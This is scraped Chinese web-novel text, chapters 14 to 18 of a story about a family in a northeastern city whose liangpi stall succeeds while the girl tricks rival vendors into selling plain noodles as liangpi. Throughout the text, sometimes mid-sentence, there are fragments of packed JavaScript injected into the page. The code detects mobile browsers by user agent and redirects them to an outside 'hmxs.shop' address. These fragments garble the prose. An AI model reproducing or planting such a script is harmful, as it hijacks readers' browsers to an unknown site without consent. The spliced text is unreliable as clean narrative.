听女儿这么说，李翠英越发有了几分底气，索性当天晚上就揉了面团，开始洗面，准备等明天一早起来就试蒸凉皮。 苏丽珍当夜就把《料经》里有关凉皮的制作方子另写了一份出来。 其实这些日子，她已经把整本《料经》都默写下来了，只不过最近她天天跟苏卫华夫妻俩忙活着摆摊的事，没法一下子把一整本书都拿出来。 不过距离高中开学还有一段日子，她可以找机会将书中余下的内容陆续交给李翠英学习。 第二天早上，几乎她刚睁开眼睛，就听见外头院子里苏卫华带了点惊喜的声音，“原来这就是凉皮啊！” 一定是李翠英成功做出凉皮了！ 苏丽珍赶忙起床，走到屋外，果然看见李翠英正用院子里新砌的土灶蒸凉皮！ 旁边一个大号搪瓷盆里已经摆了好几张蒸好放凉的凉皮了！ 苏卫华立刻高兴地对苏丽珍说道：“闺女，你妈可真是厉害，这第一回就做成了！你看这玩意儿滑溜溜的，看着透亮，摸着还有点弹弹的，真是跟面条不一样！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746384|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李翠英也很高兴，看见闺女过来，忙端出一早准备好的面筋、黄瓜丝和自己调制的料汁，动作利落地切了几张凉皮拌好，给爷儿俩一人夹了一碗。 苏丽珍吃了一口，凉皮蒸得刚刚好，薄厚适中，柔软又不失那股微微的韧劲，面筋也筋道弹牙！ 虽然李翠英调制的料汁不如记忆里那一碗的香辣鲜活，但味道也不算差，就这样出摊也完全可行的。 不过李翠英在这一方面是个绝对的完美主义者，只吃了一口就失落道：“不行啊，跟人家柳师傅的还是差了不少！” 苏丽珍正想宽慰几句，余光却发现了一旁苏卫华的小动作，赶忙“告状”：“妈，你看我爸！” 李翠英看过去，这才发现这人正趁自己不注意，偷偷往自己碗里添辣椒油，登时板起了脸：“苏卫华，都跟你说多少回了，你那身体不能吃太多辣椒，你赶紧给我把那勺子放下！” 苏卫华被抓了个“现形”，只得讪讪地收回手，“英子，你做这凉皮实在太好吃了！尤其配上这辣椒油，真是老香了，我这就没板住！” 李翠英瞪了他一眼，到底不放心，直接把辣椒油碗拿到自己跟前，“香也不行！你要不听话，以后给你做的凉皮我就一点辣椒也不搁！” 苏卫华一下就蔫了。 苏丽珍忍不住在一旁偷笑，手里的凉皮虽然没有记忆中的那么出色，但对她来说，也自有一种别人无法复制的特殊味道。 既然凉皮已经试做成功，趁着如今天气热改卖凉皮的想法也就顺理成章定了下来。 当天上午，苏丽珍去图书馆负责“抄方子”，顺便去自由市场把家里的油盐佐料等补齐。 李翠英要拿着布票到百货大楼扯点布料回来给新三轮车做雨棚和拉帘。 苏卫华则留在家里，负责给自家的摊子想一个好听又响亮的名字！ 三人各有分工，不过这些事情加在一起，估计也得耗去小半天的时间。 出摊是肯定出不了了，一家人就当是给自己放了个假，也正好养足精神，为明天的凉皮大卖做好准备！ 15. 第十五章 苏丽珍去图书馆只是幌子，所以她直接就去自由市场买齐了要用的东西。不过回家前，她又特意跑了趟客运站，告诉林小麦自家今天休息一天，让她不要担心。 林小麦听完松了口气，“这就好，我还担心你们以后会换到别的地方呢！” 苏丽珍笑道：“不会的，再说换哪里都是一样的。”以后这种事会越来越多。 林小麦听明白了她的意思，不由下意识往对面那家包子摊看去，目光中有些不忿。 苏丽珍也顺道看了一眼。那家摊子这会儿生意还不错，没怎么费心吆喝，来买包子的人也不少。 摊主是一对中年夫妻，男的一副老实巴交的面相，女的也是一脸笑眯眯的。 只是没想到，那女人察觉到她们的目光，转头看了过来，认出苏丽珍后，立即露出一个幸灾乐祸的笑容，甚至直接回了她一记挑衅的眼神。 “什么人啊这！” 林小麦气得够呛，苏丽珍忙拉住她，顺势转个身，自己背对那夫妻俩，挡住他们看过来的视线。 “算了，小麦，他们这种做派今后也走不远的，没必要为这种人动气。” 想起昨天那带了哈喇味的肉包子，对方这样明显没把心思放在本该最用心的食物上，这样下去迟早要翻车。 不过看着摊子上一直没断过人的红火场面，她还是叹了口气。 回去一定要把他们摊子的招牌弄好，明天卖凉皮的时候早早打出来，要不然同在客运站门口卖小吃，说不定哪天要遭了池鱼之殃。 孙志刚是省城收音机厂的一名技术员，这两天去临市一个小县城里出差，坐了一上午长途汽车，这会儿可算到家了。 三伏天本就闷热难耐，车上更是各种气味混杂，这一上午的时间，他都不知道自己是怎么熬过来的！ 等下了车，还没等感受一下空气中那丝丝缕缕的微风，就被头顶酷热的大太阳晒得一个踉跄，差点一头摔在地上！ 他赶忙快走几步，躲到了大门口的阴影处。 暂时逃脱了头顶的暴晒，他不由轻轻吐出一口气，可随即心底又涌起一股烦躁。 这么热的天，厂里的领导却非要让他去下面县城里的几家小厂子，帮助对方进行生产线的日常维护工作！明明尽是些鸡毛蒜皮的小事，却美其名曰是发扬团结互助精神，给下面兄弟单位“送温暖”！ 这么一顶大帽子扣下来，就是再不愿意，他也不得不去！如今才走完第一家，过两天还得接着走！ 现在只要一想到这些，他连厂子都不想回了！ 孙志刚拖着沉重的脚步走出客运站大门，结果不经意地一抬头，他就被眼前一景给吸引住了。 只见前面大树荫下，正停着一辆挺时髦的三轮车！ 这车子通体刷了乳白色的油漆，车子顶上用白色帆布搭了个罩棚。 棚顶四周则以更轻薄的白色棉布一层层压褶，做了个巴掌宽的菲边，菲边上特意缀了两圈蓝色的线绳，瞧着可真洋气！ 另外，两边车身也都罩上了白色的围帘，搭眼看过去，上面好像还画了画呢！ 孙志刚不知不觉被吸引，两只脚下意识就往那边挪去了。 等走近了，他才认出那围帘上原来画了一个胖乎乎的小娃娃！ 胖娃娃头顶上好像顶着一碗“面条”，手里还拿着个圆圆的大包子，对面则站着一只胖得肚子拖地的小花狗和一只浑身圆溜溜的小肥猫！ 孙志刚忍不住看笑了，这画得虽然有点夸张，但是充满了天真童趣，还怪可爱的！ 可惜站在他这个角度只能看清楚这一面围帘上的画，也不知道对面画的什么，应该绕过去瞧瞧…… “这位大哥，想要吃点什么？”就在这时，一道悦耳的少女声音突然在他耳边响起。 孙志刚一个激灵，回过神来，看见面前的少女，又透过围帘看见车里规整摆放的各种锅碗桶盆，这才发现，原来这辆时髦可爱的三轮车竟然是个小吃摊！ 他顿时有些不好意思，心情不好又坐了一上午车，他这会儿其实没什么胃口！ 刚想张口拒绝，谁知一股又酸又辣、还夹杂着黄瓜清香和芝麻酱浓香的特殊香味就钻进了他的鼻孔，刺激得他当场咽了口口水。 拒绝的话不自觉就变了，“你们这儿卖的什么？” 少女朝他露出了一个好看的笑容，“大哥，我们这儿有包子、凉皮！看您好像坐了挺长时间车，我建议您买一碗凉皮尝尝，这个酸辣开胃，很适合夏天吃！” 凉皮？ 孙志刚有些好奇，他听过做猪皮、鸡皮、鱼皮，还没听说过凉皮！这是什么皮做的？ 他有心想问，又怕漏了怯，人家笑话，一双藏在眼镜下的小眼睛四下扫了扫，果然发现这三轮车周围有好几个人或站、或坐，正埋头苦吃！ 孙志刚注意到这些人碗中的食物好像都是一种白色的面食，不过上面淋了不少红油，乍一看油汪汪的，再配上翠绿的黄瓜丝，看着确实挺有食欲的。 这应该就是一种加了辣椒油的面条吧！ 他轻咳了一声，收回目光，问少女道：“你这凉皮怎么卖？” 少女：“三毛钱一碗，不要票！” 孙志刚当即有些吃惊，这么贵！ 国营饭店一碗二两的素面才一毛二，这凉皮就是加了点黄瓜就要三毛，也太贵了！ 少女似乎看出他的迟疑，笑眯眯解释道：“大哥，咱们这凉皮是秦省的地道小吃，做起来非常耗时间！而且它用到的调料也非常多，尤其是这辣椒油和芝麻酱，成本真的很高的。” 孙志刚一听说这凉皮竟是秦省那边的小吃，隔了这么远，难怪他都没听说过！ 别觉得这会儿人见识少，现在交通不发达，信息传播渠道少，不说农村的，就是城里人，也有不少一辈子都没出过县城。 想到这，他才有些释然，等再随着少女的解释看了眼车厢里一张小方桌上的瓶瓶罐罐，通红的辣椒油、焦黄的芝麻酱、雪白的绵白糖，嚯，这么多种调料啊，难怪说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746385|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成本不低！ 孙志刚一个月的工资有五十多块，三毛钱其实对他来说不算什么，再加上抱着尝尝秦省小吃、长长见识的想法，他立刻痛快地点头道：“那给我来一碗！” “好嘞，大哥能吃辣吗？陈醋要不要？” 孙志刚按照自己平时的口味要了一碗，对方动作很快，几乎没到两分钟，一碗加辣的凉皮就递到了他手中。 “大哥，我们这里买凉皮或者包子，还送一碗绿豆汤，您拿好！” 听说白送绿豆汤，他倒是觉得这小摊子挺讲究！ 就是没有座位这点挺麻烦，他端着饭盒和绿豆汤，犹豫了一下，最后也学着其他人那样，坐在了马路牙子上。 他先拿起绿豆汤喝了一口，嗯，冰冰的，甜甜的，居然意外的好喝！ 一口气喝了大半碗汤后，感觉浑身的暑气散了不少，他才将碗小心翼翼放在旁边，又端起手中的凉皮仔细端详起来。 试探着夹起一根沾染了红油的凉皮送入口中，立时一股子辣香直冲口腔，紧接着老陈醋的酸香和芝麻酱的浓香也不甘示弱，一股脑涌上舌尖，一下子就把他因为坐了一上午车而萎靡的食欲刺激起来了！ 等再细细嚼一嚼，嚯，原来这凉皮是这样爽滑、绵软又带着点韧的口感啊，跟他想象的完全不同！ 再加上更加筋道弹牙的面筋和清香爽脆的黄瓜，炎炎夏日里能吃上这一碗美味的凉皮，他心底的那些烦闷好像也通通被抛到了九霄云外！ 凉皮凉皮，凉暑解热，香辣爽口，果然名副其实！ 他越吃越爽口，越吃越舒心，不知不觉，这一份凉皮很快就见了底！ 等看着空空如也的饭盒，他擦了把头上的汗水，突然就想大喊一声“痛快”！ 这么好吃的凉皮他还能再吃一碗！ 他端着饭盒和汤碗，快步走到摊子前，对方才的少女大声喊道：“小同志，麻烦你再给我来一碗凉皮！” 等再次从少女手上接过饭盒后，原本想伸筷的他忽然顿住，不行，这么好吃的东西，就应该舒舒服服地坐在屋子里，吹着风扇，开着收音机，细嚼慢咽才对！ 对了，还得配上冰冰凉凉的绿豆汤！ 这么想着，他立马将饭盒仔细收好，又把绿豆汤倒入自己随身带着的水杯里，收拾好东西就大步朝厂子赶去！ 不过当他经过那辆漂亮的三轮车时，陡然记起自己还没看看车子这一面围帘上画的什么呢！ 差点忘了，现在得赶紧看一眼！ 只见雪白的布帘上用彩笔写了四个美术体大字：珍珍小吃！ 看着那同样圆溜溜、胖乎乎的四个大字，以及周边可可爱爱的一群小花、小蝴蝶，孙志刚忍不住笑了。 这时髦的小车，有趣的招牌，美味的凉皮，他可算是记住这家小吃摊了！ 正好明后天出差，他还要来吃凉皮！ 对了，刚才那小同志说她家还卖包子，凉皮都这么好吃，包子肯定也错不了，下回一定要买两个尝尝！ 16. 第十六章 等方才连买两份凉皮的人走远后，李翠英才走到苏丽珍身边小声嘀咕道：“闺女，我看刚刚那人前前后后看咱们家摊子老半天了，就刚刚人都要走了还回头看好几眼呢！你说他该不会跟对面一样，也想来偷学咱们吧？” 苏丽珍失笑，“不会的！妈，刚刚那位大叔装凉皮的饭盒上印着‘凤城收音机厂’，人家是有工作单位的！” 李翠英闻言松了口气，“我看他那穿着打扮也不太像，但是这种事谁说的准呢，老话不还说‘人不可貌相’嘛！”说罢，朝着对面的方向努了努嘴。 苏丽珍知道她说的是对面摊子那对面相忠厚热情的夫妻俩！ 打从今天他们过来出摊，这两口子就时不时往这边瞄上几眼，尤其是那家的女人，目光实在称不上友好！ 那个男人就更可笑了！看他们家的凉皮卖得好，居然觍着脸若无其事地凑过来，一副“哥俩好”似的拉住苏卫华拐弯抹角地套话，被苏丽珍不软不硬地怼了几句后，实在下不来台，才讪讪地走了。 可把李翠英恶心坏了！ 苏丽珍就劝她道：“妈，跟这种人动气犯不上！你相信我，咱们什么都不用做，只管把咱的凉皮卖得红红火火的，让他在一边干看着，这就能把他们气个半死！” 这话对了李翠英的脾气，她忍不住拍了下手，乐道：“还是我闺女有本事，想出这么个好主意！咱这凉皮卖得是真好！本来你说今天要做一百碗，而且每碗还定了这么高的价钱，我心里还没底儿，总怕第一天要砸手里！哪成想咱来了不到两小时就卖出去八十多碗，这比当初咱卖包子那会儿还红火呢！” 凉皮的主料是面粉、黄瓜，黄瓜就不说了，张表舅现在从乡下收，据说一分钱二斤，老乡们都抢着卖！ 面粉一般每斤在一毛七左右，一斤面粉差不多能做五碗凉皮。 主要成本还是在料汁上，其中辣椒油、芝麻酱和白糖占了大头，毕竟现在的油是真的又贵又难买。不过因为他们用量大，其实平摊到每一碗的成本里也就没那么高了！ 再一个，人们出于好奇心理，常常会对一些新生事物抱有一定的期待，如果价格定得低了，反而破坏他们这种期待感，让他们生出一种怀疑的心理。 当然太高也不行，要是一下超过人家的心理预期太多，就该把人直接吓跑了！ 所以综合目前省城人们的消费水平，以及客运站辐射的范围，她极力劝说了苏卫华夫妻，最终把每碗凉皮的价格直接定在了三毛钱。 如今看来，这个决定十分正确。 看到李翠英一扫昨日的阴霾，笑的这么开心，苏丽珍自然心情也不错。 娘儿俩说话的工夫，又有两个人被他们家小吃摊吸引，一人要了一份凉皮不说，还一个劲儿夸他们小车布置的好看。 苏卫东两口子直说都是闺女的主意，两个客人又夸苏丽珍聪明能干，两口子更是笑得合不拢嘴，多给人家加了一大勺的面筋！ 眼瞅着一百多张凉皮快卖光了，剩下最后一张，李翠英就多加了面筋和黄瓜，拌成了酸甜辣口，分成两份，又从蒸屉里拿出两个包子，端给苏丽珍，让她带着去找林小麦一起吃，连带两个女孩子也说会儿话。 提起这个，夫妻俩也是郁闷。以前闺女从上了初中开始，性格就越来越“独”，见谁也没个话，整三年都没啥关系好的朋友和同学，他们俩暗地里没少发愁。 现在闺女倒是变开朗了，不管遇见啥人都能说上几句，聪明伶俐的，比他们两口子还强呢！ 可这么聪明的闺女，要么一天到晚跟他们俩摆摊干活，要么就是把自己关在屋子里看书，这哪像个十六岁的小姑娘啊？ 两口子又是心疼、又是发愁。难得现在有个年纪相当的林小麦，小姑娘性子大气，人也实诚，他们俩特别喜欢，看自家闺女跟人家处得不错，他们这当爹妈的自然得多支持！ 两家摊子原本是紧挨着的，不过今天来买凉皮的人一直没断，他们今天带的折叠凳都没够用，许多人索性直接端着饭盒坐在马路牙子上就开吃了。 林小麦见状，就把自己的摊子往旁边挪开了七八米，给他们留出更多地方招待客人。 林小麦见苏丽珍端了那么多吃的过来，刚想开口说话，就见苏丽珍直接把手里的东西放下，然后十分自然地从她摊子上拿起了一个毛桃，自己用手绢擦了擦，就大大方方咬了一口。 林小麦嘴边的拒绝就一点点咽了回去，只默默从摊子上扒拉出好几个个头更大、颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746386|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色也红润的毛桃都推到了苏丽珍跟前。 苏丽珍也没拒绝，只是顺手把凉皮和包子递给她，“先尝尝我妈的新手艺，她说你舌头灵，也能帮她提提意见，改进改进！” 林小麦这次十分痛快地接了过来，她心里明白苏家人对她的好，她会牢牢记住这份情意，以后加倍地报答他们！ 虽然知道苏家的凉皮能卖这么火，味道肯定错不了，可当林小麦吃到第一口的时候，还是瞬间就被征服了！ 她念的书不多，没啥文化，也不知道该咋形容这股子酸甜咸辣的鲜活酣畅，反正就是一句话：“老好吃了！” 以前她觉得苏家婶子包的包子是她吃过最好吃的东西，可如今再吃这凉皮，这个想法突然就动摇了！ 一口气吃了半碗，她才堪堪舍得停下筷子，痛快地抹了下嘴巴，不住夸赞道：“真好吃啊！这我还提啥意见啊！婶子就是厉害，这凉皮简直跟肉一样香，难怪今天头一天就这么红火！” 看她是真的很喜欢，苏丽珍也不由笑了起来：“能得你这么高的评价，我妈一定高兴得很！” 不过林小麦很快又皱起眉道：“珍珍，你家凉皮这么火，我看对面那俩到时还要打你们主意！” 她可是早就看见了，打从今天老苏家卖出去第一份凉皮开始，那边就没消停过！那两口子就差没把眼珠子甩到苏家那洋气的新三轮车上！ 对于这个问题，苏丽珍眼下还真不怎么担心。 现在凉皮不比包子，不说里头的料汁配方，就是那一张张软滑筋道的面皮也不是靠想象就能做出来的。 如果事先一点流程也不懂，光指望看成品推测制作方法，那就算是李翠英这样十分有天赋的人也很难做到。 所以那对夫妻俩就算把他们家的三轮车看出两个窟窿，也看不出个所以然来。 除非他们能找到同样会做的人拜师学艺！ 她一边给林小麦分析自己的思路，一边又悄悄把身前那些大个儿的毛桃送回去一半，最后留下的三个也都换成了小个儿、泛着青的。 林小麦正认真思索她的话，就没留意她手上的动作，等听完先是松了口气，不过很快又紧张起来：“那万一他们找到会做凉皮的人教他们咋办？” 17. 第十七章 苏丽珍这回没直接回答，反而话音一转：“小麦，今天我们卖出了百来碗的凉皮，其中绝大多数的客人之前连听都没听说过。” 林小麦反应也快，很快就明白了苏丽珍的意思！ 连听都没听说过，那肯定吃过或者会做的人就更少了！ “小麦，咱们这里是东北，天冷的早，这凉皮的生意肯定会受到影响。所以就算他们运气好找到会教的人，这一番耽搁下来，可能也到了淡季，也没多少赚头了！” 满打满算这凉皮也就能卖到十月初。毕竟以现在的生活水平，大冷天里愿意花三毛钱吃一碗冰凉的凉皮填肚子的，恐怕真没几个。 至于明年后年，她就无所谓了。毕竟凤城这么大的市场，她不可能一家独占，随着政策放宽，以后下海干个体的会越来越多，其中各种小吃摊和倒腾服装的是主力军，她不可能防住那么多人。 所以她只要确保今年这几个月能抢先攒出一波快钱，同时扬出点名气，这就足够了。 而且她也没打算一直卖凉皮。 关于未来发展，她自然还有别的计划，只是现在说还为时尚早，一切还得先看这一波凉皮的销量再说。 倒是林小麦听了她先前的话，自己稍一琢磨，也觉得确实是这么回事，不由夸道：“珍珍，还是你看得长远！亏我以前还觉得自己有几分小聪明，可和你一比，我可差得远了！” 苏丽珍刚想说话，余光里忽然瞥见对面摊子的摊主慢吞吞从副食店出来，嘴里叼着根冰棍，悄没生息地走到她们斜后方的树荫处，一屁股坐下就不走了。 不用猜也知道，肯定是看她们俩在这儿又吃凉皮、又说悄悄话的，那两口子等不及，干脆直接派人听壁脚来了！ 苏丽珍唇角的笑容微冷。这对夫妻吃相太难看，之前包子的事她还没同他们计较，现在又没脸没皮打上凉皮的主意，那就别怪她算计他们了！ 她不动声色地拽住了同样发现对方的林小麦，一边端起自己那份凉皮吃得津津有味，一边又不停夸起自家中午生意如何如何好。 林小麦很快反应过来，马上也收起眼中的怒色，顺着苏丽珍的话，跟着连声附和起来。 苏丽珍：“小麦，我妈答应我了，说我家现在凉皮卖得好，等过几天，她就给我买百货公司新进的连衣裙，一件要二十多块钱呢！” 林小麦故意咂舌：“真的啊！你妈对你真好，给你买这么贵的裙子！” 苏丽珍语气不无得意：“主要还是我家的凉皮卖得好，这玩意儿说是秦省小吃，其实就是擀面条而已，利润当然大了！” 林小麦点头：“难怪了，我说咋我吃着像过了凉水的面条呢！就是你们老说啥秦省秦省的，我就没敢往那边想！” 苏丽珍捂嘴笑：“傻瓜，我们老师说‘十里不同习’，咱这儿叫面条，人家在秦省就叫‘凉皮’，其实都是一个东西！都是把煮好的宽面条放凉水盆里使劲泡，等泡得凉透了，再放点辣椒、芝麻酱拌一拌！简单得很，你自己在家也能做！” 林小麦摆出一脸惊喜状：“啥，我自己也能做？不成不成，那辣椒油啥的我可整不来，那东西贵着呢。” 苏丽珍便又说：“辣椒酱也一样吃啊，主要够辣就行！我听我妈说了，等以后我们家客流稳定了，就把辣椒油大半都换成辣椒酱，这样既能省钱，也不耽误辣味儿！” 看林小麦还是有些不信，她又继续说道：“小麦，咱俩好，我就跟你说一句实话！别看那些客人把我们家凉皮夸得厉害，其实那是因为他们坐了一天车又闷又热，所以那会儿能吃上一碗又凉又辣的面条就觉得开胃又过瘾，你想想要是换成是你的话，是不是也一样这么想？” 接收到苏丽珍眼色的林小麦马上一脸恍然大悟的表情，“对啊，还真是这么回事啊！珍珍，你们家叔和婶子可真是太精明了！” 苏丽珍：“是吧！其实我妈也说了，凉皮这东西一开始大家是没听说过，可这玩意儿其实特别简单，以后大伙儿肯定慢慢就知道它是用面条做的，所以以后肯定也卖不了这么贵了，我们家就是趁现在挣一波快钱……” 说话间，她故意碰了下身前一个毛桃，等毛桃滚到身侧的空地上，在侧身去捡的时候，这才装作不经意地发现了一直在侧耳细听她们说话的摊主！ 苏丽珍当即面色一变，先是狠狠瞪了那男人一眼，接着又故意对林小麦生气道：“你这看得什么摊子？附近有人你都没发现？” 那蛮横不讲理的小模样差点没把林小麦整笑了，她强装出一副不安的神情，一边使劲给苏丽珍赔不是，一边也学着她的样子瞪了对面那人一眼。 苏丽珍还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746387|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依不饶，故意骂了她两句，端起自家的碗筷就怒气冲冲地跑回去了。 剩下林小麦自己蔫头耷脑地站在那里，好半天没敢抬头。 两个小姑娘“吵架”的动静不小，把苏卫华和李翠英也给惊动了，两口子拉着苏丽珍问是怎么回事，没想到苏丽珍又犯了“老毛病”，任他俩怎么问就是低头不做声。 而她这副“心虚”的模样落在对面摊主王老四眼里，那就是一副小孩子在外面惹了祸、回家不敢说实话的样子，一时间更是把先前偷听来的话信了十成！ 之前苏家人防着他，他凑不到那车子跟前，也不知道这凉皮具体是个啥！不过他倒是看见了别人买到手的样子，那碗里所谓的凉皮，瞧着白嫩嫩、滑溜溜的，真就跟切得手指宽的面条差不多！ 他想着自己这回绝对是歪打正着，摸清了对家挣钱的门道。 乖乖，一碗面条子加点黄瓜、辣椒就敢要三毛钱，关键还真有这么多人买，这得多挣钱啊！ 一想到这些，他内心就一片火热，当即火急火燎地跑回去找自家婆娘商量“大计”去了！ 苏丽珍冷眼看着那人急匆匆的背影，心里冷笑了一声。 但愿他们别太贪心，省得最后赔个底朝天！ 第二天上午，等苏家人出摊的时候，对面王老四家果然也开始叫卖起了“凉皮”！ 苏卫东夫妻俩还不知道对方这是在自家闺女的推动下才走了这一步，只以为那边是故技重施，又一心想挤兑走他们！ 其实夫妻俩之前是早有准备的！昨天装凉皮的大搪瓷盆一直用纱布蒙着不说，每次切凉皮的时候也必定在围帘里头，保准不叫那没安好心的小人看去丁点皮毛！ 而且李翠英也自信这凉皮手艺不是什么人远远看几眼就能学会的！ 可饶是这么多心理建设，等真的看见对方这么快就没脸没皮地学起自家来，夫妻俩还是压不住心底的火！ 苏丽珍好言劝了两人一会儿，趁着他们摆摊子的空档，溜到了一边。 没多久，林小麦也跟着过来了，一看见她，老远就冲她一阵挤眉弄眼。 “珍珍，我之前溜过去看了，那位还真是把你昨天的话都听进去了！今天他们连包子都没卖，到地方就先卸下一个老大的木桶，盖子一掀，里头满满登登泡的都是白面条！” 18. 第十八章 林小麦的心情显然十分好，说起话来眉飞色舞的，“你是不知道，我往他们那三轮车上扫了一眼，好家伙，这样的大木桶起码还有三、四个，这是下了血本了！” 想起那个画面，苏丽珍也不由想笑。她可真没看错人，对方果然是又蠢又贪心！ 两人正悄悄说话的工夫，就听那边开始吆喝起来了：“卖凉皮嘞！正宗秦省小吃！大伙儿都来看看啊，一碗只要两毛八！” 林小麦撇撇嘴，忍不住嘟囔道：“果然又来这一招，真是够不要脸的！” 苏丽珍笑笑没说话，只让她先回去等着，也不必着急，今天别说两毛八，就是便宜到一毛八，他们也卖不出去！ 果然，经过昨天一天苏家的凉皮大卖，今天还真来了不少回头客，一听说这家也卖秦省凉皮，而且一碗还便宜两分钱，一部分人难免有些意动。 可等凑过去一看，大伙儿忍不住皱眉头了！ 一个四十来岁的大姐最先嚷嚷起来：“你这是啥凉皮啊！这不就是面条子吗？” 王老四赶忙道：“大姐，咱这就是凉皮！秦省那边管这就叫凉皮，一样的！” 那大姐当即眉头拧成了疙瘩，“啥玩意儿？这咋能一样呢？明明我昨天吃的凉皮就不是这样的！” 其他人也议论纷纷。 王老四忙不迭陪起笑脸：“这位大姐啊，真错不了，我肯定没骗你，这就是一个东西！那啥，您喜欢吃辣一点、还是酸一点的啊？我多给您放一勺辣椒吧，我家辣椒老香了！” 等看着王老四媳妇直接捧出一个乌漆墨黑的罐子，打开上面的盖子后，露出里面满满一下子的青红辣椒酱，那大姐整个人都不好了，连声音都尖锐了几分！ “你们等会！这啥玩意儿，这不就是辣椒酱吗？好啊，你们这个黑心摊子，是真能忽悠人啊！楞把面条当凉皮，还拿辣椒酱当辣椒油对付，这不拿我们大伙儿当二傻子吗？” 旁边人也立时跟着附和起来，“对啊，这就是‘挂羊头，卖狗肉’，真当咱们没吃过凉皮是咋地！” “就这一碗还要两毛八，我看这两口子的心肝是黑透了！” 众人你一句、我一句，把王老四夫妻俩骂个狗血淋头，任凭他俩百般解释，还是没有一个人肯买他家的“凉皮”！ 经过这一茬，大伙儿心中也有了对比，所有人最后都涌入了苏家的珍珍小吃。 苏卫华两口子亲眼看见总打自家主意的对手出糗，之前的郁愤立马一扫而空，又见对手亲自“送”来这么多客人，更是心情大好，干起活来越发有劲儿。 先头在王老四摊子上大发脾气的那位大姐，端着饭盒，一口酸辣微甜、清清爽爽的凉皮刚下肚，立马浑身放松似的吐出一口气，心情肉眼可见地好了起来，拉住给她送绿豆汤的苏丽珍就说个没完。 “哎呀妈呀，就是这个味！小妹妹，你不知道啊，这些日子天热，我这胃里就像堵了个东西，啥都吃不下去！这吃不好啊，心情就不好，看啥都烦，见天像个炮仗似的！可自打昨天我在你们家吃了一碗这个凉皮啊，我那个胃啊，就像被谁一下打通了！是吃完第一碗，就想第二碗！” 旁边一个五十多岁的大爷也跟着笑呵呵接话：“可不是嘛！你们家这凉皮味道是真好！不瞒你说，我昨晚回去也叫我那老婆子试着擀了点面条，过水后加点黄瓜、辣椒啥的拌一拌，可就是咋也做不出你们这个味儿来，也没凉皮那个口感！看来这真是隔行如隔山啊！” 苏丽珍便微笑着感谢众人的捧场，又让大伙儿如果想再加辣、加醋可以随时过来加料，登时又获得大家的一致好评。 有这么多“活招牌”做广告，不少从客运站出来的乘客直接被吸引过来，看其他人吃得赞不绝口，好像一点也没受这炎炎夏日的影响，再加上是从没听过的小吃，不由心动起来，也纷纷掏钱购买。 更有那先前吃完没走的客人还十分好心地叮嘱后来者：要吃正宗的秦省凉皮一定要来珍珍小吃，可千万别去对面！那就是个忽悠人的黑心骗子，可别为了省那三瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746388|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩枣的让人糊弄了去！ 有这些热心的客人一拨儿接着一拨儿的传话，几乎绝大多数来买凉皮的人都知道了对面那家摊子是骗人的，王老四的摊子就更加无人问津了。 看着珍珍小吃这边一直源源不断的客流，王老四两口子眼珠子都红了！ 可他们家坏了名声，大伙儿不愿意来，即便偶尔有那么一两个还没来得及听着内情的，跑过来一看那大桶里泡着的不过是家常的擀面条，人家没吃过猪肉，可见过猪跑啊，自然不信他们这能是正宗的凉皮！ 一来二去，从上午到中午，好几个小时过去，他们还一份都没卖出去过！ 到了这会儿，王老四自然也明白了，他这是着了人家的道，让那个死丫头给骗了！ 可即便心里恨得要死，他也拿对方没啥办法，而且眼下最要紧的是那几大桶的面条该咋办！ 